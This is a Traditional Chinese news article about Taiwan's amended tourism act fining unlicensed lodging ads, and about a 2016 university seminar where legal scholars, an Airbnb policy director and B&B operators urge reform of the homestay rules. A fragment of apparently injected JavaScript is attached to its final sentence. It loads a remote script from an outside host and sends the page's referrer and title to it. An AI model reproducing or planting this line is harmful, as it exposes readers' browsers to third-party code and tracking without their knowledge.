民宿思變! 產學界籲調整民宿管理法

12月23日立法院院會三讀通過「發展觀光條例部分條文修正草案」,規定未依法取得營業執照或登記證者以任何宣傳管道提供營業訊息,可處10萬元以上、50萬元以下罰鍰。這項條款,預期將影響旅遊住宿平台在台灣的市場,也對因現行民宿管理規則過於嚴苛,而無法取得民宿執照的業者造成強烈衝擊。

 

南台科技大學財經法律所與張麗堂文教助學基金會,特別邀請多位台灣著名的財經法律專家及業者,於南台科技大學內舉辦2016法制學術研討會,探討創新經濟的概念與現行法規的衝突,並以「Airbnb」為例提出日後法規調整的建議。

 

「Airbnb」是國際知名的旅遊住宿平台,採取類似沙發客的共享模式,讓民眾有管道出租居家空間給旅人並收取費用,由於費用低於一般旅館,從2008年創立後已經累計超過10億人次使用,在台灣也有1萬6千多個房源。

 

南台科技大學財經法律研究所所長張瑞星表示,新型態的網路經濟顛覆以往的概念,與其用傳統的思維框架來限制,不如制定可以導向積極正向來鼓勵發展。目前已有許多國家針對Airbnb制定相關法令可供借鏡,相信透過合理的管理更能促進整體的觀光產業發展。

 

文化大學法學院院長何曜琛也表示,如果能透過法令落實公平性並解決安全上的疑慮,讓新與舊的經營模式相互配合其實是可以創造更大的商業大餅。

 

Airbnb台灣及香港公共政策總監蔡文宜分享,共享經濟與傳統模式的使用者重疊性並不高,如使用Airbnb的平均年齡層為35歲,而且高達91%房客的住宿目的是為了體驗當地人的生活方式,明顯屬於愛好冒險的年輕族群。

 

另外,在台灣Airbnb的主要客源是國際上非華語系的遊客,與一般商業旅館客源並無衝突。而且透過便利的訂房機制吸引更多國際觀光客來台,提高台灣在國際觀光市場的能見度,不但符合現行政策而且能確實擴大觀光產業。此外,Airbnb非常樂意配合法律規定繳稅,並優先把合法的民宿業者列為向國際推薦的第一優先。

 

與會的民宿業者一致認為,台灣民宿管理辦法自2001年制訂後幾乎沒有任何修正,15年來不論台灣還是國際,觀光市場興起巨大變化,現階段的法規確實有必要重新審視調整,才能讓民宿、觀光產業未來在網路時代繼續走下去。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;